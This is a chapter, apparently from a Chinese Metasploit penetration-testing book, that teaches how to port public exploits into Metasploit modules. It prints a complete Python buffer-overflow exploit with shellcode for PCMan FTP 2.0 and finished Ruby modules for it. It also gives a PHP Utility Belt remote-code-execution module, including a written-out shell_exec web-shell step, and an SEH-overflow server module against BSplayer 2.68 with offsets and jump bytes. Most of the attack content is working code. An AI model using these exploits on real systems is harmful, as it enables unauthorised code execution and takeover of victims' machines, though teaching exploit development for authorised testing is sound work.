第 4 章 渗透模块的移植

上一章学习了如何在Metasploit中编写渗透模块。不过,如果某个程序已经有相应的渗透模块,就没有必要重新编写一个了。这些已经公开的可用模块可能是用不同语言编写的,例如Perl、Python、C等。下面开始学习如何将用不同语言编写的模块移植到Metasploit框架中。通过这种机制,可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块,从而达到节省时间、实现攻击载荷动态切换的效果。

本章将着眼于以下几个要点。

如果搞清楚了现有模块中的函数都执行了什么任务,那么将该模块移植到Metasploit框架中也就不是一件困难的事情了。

只对一台主机进行渗透测试时,将一个独立的模块移植到Metasploit并不能节省渗透攻击的时间。在对大规模的网络进行渗透测试的时候才能体现出模块移植的优势。另外,由于移植后的每一个渗透模块都属于Metasploit,这使得渗透测试更加具有组织性。接下来将学习如何实现Metasploit的可移植性。

在接下来的示例中,我们将看到如何将一个用Python编写的渗透模块导入到Metasploit中。你可以从https://www.exploit-db.com/exploits/31255/下载这个渗透模块。下面来分析这个模块的代码。

import socket as s
from sys import argv

host = "127.0.0.1"
fuser = "anonymous"
fpass = "anonymous"
junk = '\x41' * 2008
espaddress = '\x72\x93\xab\x71'
nops = 'x90' * 10
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"
"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"
"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"
"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"
"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
  "\x5a\x4e")

sploit = junk+espaddress+nops+shellcode
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
conn.connect((host,21))
conn.send('USER '+fuser+'\r\n')
uf = conn.recv(1024)
conn.send('PASS '+fpass+'\r\n')
pf = conn.recv(1024)
conn.send('CWD '+sploit+'\r\n')
cf = conn.recv(1024)
conn.close()

这个渗透模块采用匿名方式登录到运行在21端口上的PCMAN FTP 2.0,并利用CWD命令来渗透这个软件。

整个渗透过程可以分解为如下几点。

(1) 将用户名、密码和主机分别保存到变量fuserpasshost中。

(2) 为变量junk赋值为2008个字符A。这里EIP的偏移量为2008。

(3) 将JMP ESP的地址赋值给变量espaddress,目标返回地址为espaddress的值0x71ab9372

(4) 将10个NOP保存到变量nops中。

(5) 将用来启动计算器的攻击载荷保存到变量shellcode中。

(6) 将junkespaddressnops以及shellcode连接起来并保存到变量sploit中。

(7) 使用语句s.socket(s.AF_INET,s.SOCK_STREAM)建立一个套接字连接,然后使用connect((host,21))连接到目标的21端口。

(8) 使用USER命令加变量fuserPASS命令加变量fpass成功登录到目标ftp上。

(9) 向目标发送CWD命令,并在后面加上变量sploit。这将改写在偏移量为2008处的EIP中的内容,并弹出一个计算器应用程序。

(10) 执行该渗透模块并分析结果,过程如下。

 原来的渗透模块需要从命令行处接收用户名、密码和主机等值,不过我们使用固定的硬编码值修改了这个参数赋值的机制。

渗透模块执行之后,将会弹出如下内容。

可以看到,弹出了一个计算器应用程序,这表明了渗透模块成功地完成了任务。

现在来从这个渗透模块中找出一些重要的值,这些值是我们在创建相同功能的Metasploit模块时所必需的,下表列出了这些值。

序号

变量

1

偏移量

2008

2

目标返回/跳转地址/使用JMP ESP在可执行模块中找到值

0x71AB9372

3

目标端口

21

4

ShellCode用来消除不确定区域的NOP字节

10

5

思路

后面跟着2008个字节的填充数据以及变量espaddressNOPshellcode值的CWD命令

我们现在已经获得了构建Metasploit模块所需的全部信息。在下一节中,我们将会看到使用Metasploit构建一个渗透模块是多么轻松的一件事!

复制一个相同功能的模块再对其进行改造是开始构建一个Metasploit模块的最简单方法。不过Mona.py脚本也可以动态生成一个Metasploit适用的模块,后续章节将会讲述如何使用Mona.py脚本来快速生成一个渗透模块。

现在来看一个功能相同的Metasploit模块代码:

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Post-Exploitation CWD Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in PCMAN FTP
      },
      'Author'         =>
          [
            'Nipun Jaswal'
          ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 English',
            {
              'Ret' => 0x71ab9372,
            'Offset' => 2008
           }
         ],
       ],
     'DisclosureDate' => 'May 9 2016',
     'DefaultTarget'  => 0))
register_options(
       [
               Opt::RPORT(21),
        OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous'])
       ])
  End

我们在前面几章已经研究过很多渗透模块,现在这个渗透模块也没什么特殊之处。我们还是先引入了所有必需的库文件和/lib/msf/core/exploit目录下的ftp.rb库文件,再在初始化部分定义了所有必需的信息。根据从渗透模块中收集到的关键信息,我们将Ret的值设置为返回地址的值,将Offset的值设置为2008,另外还将FTPPASS选项设置为'anonymous'。接着来看下面的代码:

def exploit
    c = connect_login
    return unless c
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded
    send_cmd( ["CWD " + sploit, false] )
    disconnect
  end
end

使用connect_login方法连接到目标,然后使用我们提供的用户名和密码尝试登录。等一下!我们什么时候提供过登录的用户名和密码了?在导入ftp库之后,这个模块中的FTPUSERFTPPASS选项就可以自动完成这项工作。FTPUSER的默认值为anonymous。不过,我们已经在register_options中将FTPPASS的值设置成anonymous了。

接下来,使用rand_text_alpha函数生成2008个(该值由Targets中的变量Offset决定)填充数据,并将它们都保存到变量sploit中;使用pack('V')函数将TargetsRet的值以小端格式保存到sploit变量中;再将make_nop函数产生的NOP和ShellCode添加到sploit变量之后,输出数据就准备好了。

再下一步,使用ftp库中的send_cmd函数将一个包含了变量sploit中数据的CWD命令发送到目标。但是如果使用Metasploit又有哪些区别呢?下面就来看看Metasploit能做到什么。

我们已经见识到了使用Metasploit改造现有渗透模块的便利性,接下来就使用这个模块来渗透目标应用程序,并对结果进行分析。

FTPPASSFTPUSER的值都已经被设置成为了anonymous。接下来设置RHOST的值和攻击载荷的类型,并开始对目标计算机进行渗透攻击。过程如下图所示。

我们的渗透模块成功完成了任务。Metasploit还提供了一些额外的功能,可以使渗透过程更加智能化,下一节将介绍这些功能。

在对目标应用程序进行渗透之前,Metasploit可能需要检查这个程序的版本。这一点十分重要,因为如果运行在目标计算机上的应用程序是一个没有漏洞的版本,那么渗透过程就可能引起目标程序的崩溃,我们的渗透也就成了泡影。现在来编写一段检查目标应用程序的代码(在上一节中,我们已经成功完成了对这个程序的渗透):

  def check
    c = connect_login
    disconnect
    if c and banner =~ /220 PCMan's FTP Server 2\.0/
      vprint_status("Able to authenticate, and banner shows the vulnerable
version")
      return Exploit::CheckCode::Appears
     elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
      vprint_status("Unable to authenticate, but banner shows the
vulnerable version")
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
end

check方法是以调用connect_login函数开始的,connect_login函数可以用来初始化一个到目标的连接。如果连接成功,应用程序就可以返回一个banner。使用正则表达式将这个banner与漏洞程序的banner进行比较,如果成功连接并且banner匹配的话,就可以使用Exploit::Checkcode::Appears将这个应用程序标记为存在漏洞;如果连接不成功但是banner匹配,则表明这个应用程序也是存在漏洞的,仍然将这个应用程序标记为Exploit::Checkcode::Appears,表示存在漏洞;如果所有的检查都不成功,那么返回一个Exploit::CheckCode::Safe值来表明这个应用程序是不存在漏洞的。

现在输入check命令看看这个应用程序是否存在漏洞。

这个应用程序是存在漏洞的,我们可以继续渗透。

 如果想获取关于实现check方法的更多细节,请访问https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method

本节将重点讲解如何将Web应用程序渗透模块导入到Metasploit中。本章将着眼于一些重要函数,并学习利用这些函数来实现那些通过其他编程语言实现的功能。在这个示例中,我们将着眼于PHP utility belt远程代码执行漏洞,这个漏洞发现于2015年12月8日。你可以从以下网址下载这个存在漏洞的应用程序:https://www.exploit-db.com/apps/222c6e2ed4c86f64616e43d1947a1f-php-utility-belt-master.zip

这个远程代码执行漏洞通过一个POST请求的代码参数触发,服务器在接收到这段精心构造的数据请求并对其进行处理之时就会执行服务器端代码。现在来看看如何对这个漏洞进行手动渗透。

上图中使用的命令是fwrite,这条命令是用来向文件写数据的。使用fwrite以可写模式打开名为info.php的文件,然后将<?php $a= "net user"; echo shell_exec($a);?>写入到文件中。

命令执行之后,将会创建一个名为info.php的新文件,并将PHP中的信息写入到这个文件中。接下来,只需浏览info.php文件,就可以看到执行命令的结果。

在浏览器中打开info.php,如下所示。

可以看到,在info.php页面中列出了所有的用户名。为了编写一个可以渗透PHP utility belt远程代码执行漏洞的Metasploit模块,需要构造到这个页面的GET/POST请求,这样才能将我们构造的恶意数据发送到存在漏洞的服务器上,从而获得目标的Meterpreter权限。

在用Metasploit开发基于Web的渗透程序时,最重要的就是要弄清楚相关的Web函数、使用这些函数的方法以及这些函数的参数。还有一点也十分重要,就是要知道漏洞的确切位置——该示例中的漏洞所在位置是CODE参数处。

Web应用程序使用的重要函数都可以在/lib/msf/core/exploits/http下的client.rb库文件中找到。另外,在/lib/rex/proto/http下的client.rb文件和client-request.rb文件包含着关于GETPOST请求的核心变量和方法。

库文件/lib/msf/core/exploit/http/client.rb中的以下方法可以用来创建HTTP请求。

当我们发送一个基于HTTP的请求时,send_request_rawsend_request_cgi方法是相似的,但是应用于不同的情况。

send_request_cgi与使用传统的send_request_raw相比,灵活性更佳。而在另外一些情况下,send_request_raw使得连接更简单,接下来我们将学习它们。

如果想知道都需要将哪些值传递给这些函数,就需要对REX中的库文件进行研究。REX库文件提供了与请求类型相关的下列头文件,如下图所示。

在这里可以看到,我们能够通过前面的参数来向我们的请求传递大量的参数值,比如说你可以设定自己指定的cookie以及各种其他事情。这里我们力求将问题简单化,所以把精力都放在uri参数上,这个参数是进行渗透目标网页文件的路径。

我们使用参数method来指明这是一个GET,还是一个POST类型的请求,这在获取目标数据或者向目标传递数据时可以使用。

GET方法用于在浏览网页时向指定资源发送对数据或者页面内容的请求,而POST方传递页面表格中的数据以进行进一步的处理。现在,有了HTTP库,在编写基于Web的渗透模块时就得心应手多了。使用POST类型的请求使得向指定网页发布查询或者数据变得十分容易。

现在来看看在这个渗透模块中需要执行哪些操作。

(1) 创建一个POST请求。

(2) 利用CODE参数将攻击载荷发送到有漏洞的应用程序中。

(3) 获得到达目标的Meterpreter权限。

(4) 完成一些后渗透功能。

现在我们已经对需要完成的任务有了足够的了解,接下来将编写一个实现上述功能的渗透模块,并确认它可正常运行。

接下来在Metasploit中编写一个针对PHP utility belt远程代码执行漏洞的渗透模块,其中的代码如下。

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'PHP Utility Belt Remote Code Execution',
      'Description'   => %q{
         This module exploits a remote code execution vulnerability in PHP
Utility Belt
      },
      'Author'         =>
        [
          'Nipun Jaswal',
        ],
      'DisclosureDate' => 'May 16 2015',
      'Platform'       => 'php',
      'Payload'        =>
        {
          'Space'       => 2000,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          ['PHP Utility Belt', {}]
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt',
'/php-utility-belt/ajax.php']),
   OptString.new('CHECKURI',[false,'Checking Purpose','/php-utility-
belt/info.php']),
      ])
  end

在初始化部分中,我们导入了所有所需的库文件,并列出了模块的必要信息。因为我们要渗透的目标是一个基于PHP的漏洞,所以选择的目标平台是PHP。因为现在的漏洞在一个Web应用程序中,而不是在之前的那种软件程序中,所以要将DisableNops的值设置为true以关闭攻击载荷中的NOP。这个漏洞在ajax.php文件中,因此要将TARGETURI的值设置为ajax.php文件的位置。另外我们还创建了一个名为CHECKURI的新字符串变量,可以用它来创建检查方法。下面是渗透模块的下一部分:

def check
  send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => "fwrite(fopen('info.php','w'),'<?php echo
phpinfo();?>');"
      }
   )
  resp = send_request_raw({'uri' =>
normalize_uri(datastore['CHECKURI']),'method' => 'GET'})
  if resp.body =~ /phpinfo()/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
  end

我们使用send_request_cgi方法将POST请求以一种高效的方式发送出去。将变量method的值设置为POST,将URI的值设置为以普通格式表示的目标URI,POST的参数CODE的值为fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');。这个攻击载荷将会创建一个名为info.php的新文件。当代码执行的时候,这个文件将会展示所有的PHP信息。我们还创建了另一个请求,用来获取新创建的info.php文件的内容——这是使用send_request_raw并将method的值设置为GET实现的。之前创建的变量CHECKURI将作为这个请求的URI。

这个请求的结果保存在了resp变量中。接下来,将resp的body部分与表达式phpinfo()进行比较。如果比较结果为true,就表示已在目标主机上成功创建了info.php文件,Exploit::CheckCode::Vulnerable的值将会返回给用户,这将展示一条目标主机存在漏洞的信息。否则这个目标将被标记为Exploit::CheckCode::Safe,这表示它是安全的。下面来查看exploit方法:

  def exploit
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => payload.encoded
      }
    )
  end
end

我们刚刚创建了一个简单的POST请求,在这个请求的code部分包含了我们的攻击载荷。当它在目标上执行的时候,我们就可以获得目标主机的PHP meterpreter权限。下面来看看这个渗透过程。

我们已经获得目标的Meterpreter权限,并将这个远程代码执行渗透模块转换成了一个可以正常工作的Metasploit渗透模块了。

 Metasploit已经有了渗透PHP utility belt漏洞的官方模块,可以从以下地址下载这个模块:https://www.exploit-db.com/exploits/39554/

我们将在本节看到如何将基于浏览器或者TCP服务端的渗透模块导入Metasploit。

在对应用程序进行测试或者渗透测试时,我们可能会遇到因目标软件在解析请求/回应数据时失败从而导致崩溃的情况。来看一个存在漏洞的应用程序在解析数据时会发生什么。

示例所使用的应用程序是BSplayer 2.68。可以看到,在81端口上运行着一个Python渗透模块。这个漏洞源于对远程服务器响应的解析——当用户尝试从一个URL处播放视频时。试试从81端口监听数据流,看看会发生什么。

屏幕上弹出了计算器应用程序,这表示渗透模块已经成功完成了任务。

 可以从https://www.exploit-db.com/exploits/36477/下载这个针对BSplayer 2.68的Python渗透模块。

来看看这个渗透模块的代码,并从中收集构建Metasploit模块必需的信息。

这个渗透模块十分简单。它的编写者利用向后跳转技术找到要传递给攻击载荷的ShellCode,这是一种用于解决空间限制的技术。还有一点需要注意:编写者向目标发送了两次恶意缓冲区的数据来执行攻击载荷,这是由漏洞的性质决定的。我们在下一节中将为所有所需的数据建立一个表,利用这些数据可以将这个渗透模块转化成一个Metasploit兼容的模块。

下表展示了所有必需的值及其用途。

序号

变量

1

偏移量

2048

2

已知POP-POP-RETN系列指令/P-P-R在内存中的地址

0x0000583b

3

向后跳转/到ShellCode的长跳转

\xe9\x85\xe9\xff\xff

4

短跳转/指向下一个SEH帧的指针

\xeb\xf9\x90\x90

我们现在已经拥有了构建渗透BSplayer 2.68的Metasploit模块的全部信息了。可以看到,编写者将ShellCode放置在了2048个NOP之后,不过这并不意味着实际偏移量就是2048——将它放置在SEH覆盖区的前面是因为必须要给ShellCode保留足够的空间。不过我们仍然采用这个值作为偏移量,这是为了严格遵循原始程序的设计。此外,\xcc是一个断点操作码,但是在这个渗透模块中,它被用来实现填充。考虑到空间的限制,变量jmplong中存储了到ShellCode的向后跳转。nseh变量中存储了下一帧的地址,也就是我们在上一章中讨论过的短跳转。seh变量中保存了P/P/R指令序列的地址。

 有一点必须要指出:在当前情景中,需要目标计算机主动来连接我们的渗透服务器,而不是我们去连接目标服务器。因此我们的渗透服务器必须时刻对即将到来的连接处于监听状态。当收到目标的请求之后,要向其发送恶意的内容。

先来看一下Metasploit中渗透模块的代码部分:

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "BsPlayer 2.68 SEH Overflow Exploit",
      'Description'    => %q{
        Here's an example of Server Based Exploit
      },
      'Author'         => [ 'Nipun Jaswal' ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ],
        ],
      'Payload'  =>
       {
       'BadChars' => "\x00\x0a\x20\x0d"
       },
      'DisclosureDate' => "May 19 2016",
      'DefaultTarget'  => 0))
  end

到目前为止我们已经编写过很多渗透模块了,上面的代码并无很大差别,唯一的不同之处在于从/lib/msf/core/exploit/tcp_server.rb引入了一个TCP server库。这个TCP server库提供了处理传入请求所需的各种方法和额外的选项,例如SRVHOSTSRVPORTSSL。下面是代码的剩余部分:

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
    print_status("Client Connected")
    sploit = make_nops(target['Offset'])
    sploit << payload.encoded
    sploit << "\xcc" * (6787-2048 - payload.encoded.length)
    sploit << "\xe9\x85\xe9\xff\xff"
    sploit << "\xeb\xf9\x90\x90"
    sploit << [target.ret].pack('V')
    client.put(sploit)
    client.get_once
    client.put(sploit)
    handler(client)
    service.close_client(client)
  end
end

我们并没有在这些渗透模块中使用什么渗透函数,而是使用了on_client_connecton_client_dataon_client_disconnect这几个函数。其中最重要,也是最简单的函数就是on_client_connect,在配置渗透客户端的SRVHOSTSRVPORT时就会用到这个函数。

我们已经使用Metasploit中的make_nops函数创建了NOP,并使用payload.encoded将这些NOP嵌入到了攻击载荷中,从而避免了在攻击载荷中使用硬编码。我们使用和原始渗透模块相同的内容来组装变量sploit的剩余部分。当需要时,可以使用client.put()函数将恶意数据发送到目标,这个函数的作用就是将选中的数据发送到目标。但是这个渗透模块需要向目标发送两次数据,所以我们只能在两次发送之间使用client.get_once函数保证数据是分两次发送的,否则这两块数据可能会被合并成一个单元被一起发送出去。当数据分两次成功发送之后,使用handler查找从渗透模块传回的会话。最后,使用service.client_close关闭这次与目标的连接。

可以看到,代码中使用了client对象。这是因为从指定目标返回的传入请求被看作是一个独立的对象,允许同一时间由多个目标连接。

来看看这个Metasploit模块的实际运行过程。

如下图所示,从BSplayer 2.68连接到渗透服务器的8080端口上。

当试图和渗透模块控制程序建立连接的时候,一个Meterpreter攻击载荷就会被发送到目标上,从而产生如下图所示的结果。

好了!现在已经获得目标的Meterpreter命令权限。我们使用Metasploit中的TCP server库编写了一个渗透的服务器模块。在Metasploit中,我们还可以使用HTTP server库建立HTTP服务功能模块。

 如果想获取关于HTTP服务功能的更多信息,可以访问https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/server.rb

在经过了大量的渗透模块移植实验之后,我们已经完成了将各种渗透模块移植到Metasploit中的任务。经过本章的学习,我们知道了如何轻松地将各种渗透模块移植到Metasploit框架中。在本章中,我们建立了从独立模块中找到要领的方法,学习了各种函数以及它们在渗透开发中的作用,还复习了关于SEH的渗透模块的知识,以及如何建立渗透服务。

你可以通过做如下练习来提高水平。

到此为止,我们已经接触了大部分的渗透模块编写练习。从下一章开始起,我们将会看到如何使用Metasploit完成对各种服务的测试,以及如何具体实现对各种服务(例如VOIP、DBMS以及SCADA)的渗透测试。